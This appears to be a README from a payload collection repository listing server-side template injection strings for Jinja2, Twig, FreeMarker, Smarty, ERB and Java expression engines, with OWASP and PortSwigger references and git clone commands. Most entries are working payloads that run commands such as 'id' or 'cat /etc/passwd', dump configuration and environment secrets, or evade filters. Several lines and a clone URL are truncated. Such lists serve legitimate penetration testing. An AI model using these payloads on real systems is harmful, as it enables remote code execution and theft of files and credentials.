

```
${6*6}
${{3*3}}
(0)(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__._mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}} # Search for Popen proces:
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', she
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{
{{ 'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id"
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id'
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read(
{{ config.items()[4][1].__class__._mro__[2].__subclasses__()[40]("/
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell
{{config.__class__.__init__._globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__._subclasses__() %}{% if "warning"
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr(''
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInsta
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInsta
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInsta
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInsta
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning"
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
```

## References:

- <u>https://owasp.org/www-project-web-security-testing-guide/v42/4-Web\_Application\_Security\_Testing/07-Input\_Validation\_Testing/18-Testing\_for\_Server-side\_Template\_Injection</u>
- <a href="https://portswigger.net/research/server-side-template-injection">https://portswigger.net/research/server-side-template-injection</a>
- <u>https://www.indusface.com/learning/application-security/server-side-template-injection/</u>

Cloning an Existing Repository ( Clone with HTTPS )

```
root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-| □
```

Cloning an Existing Repository ( Clone with SSH )

```
root@ismailtasdelen:~# git clone git@github.com:payloadbox/ssti-payl 🖵
```

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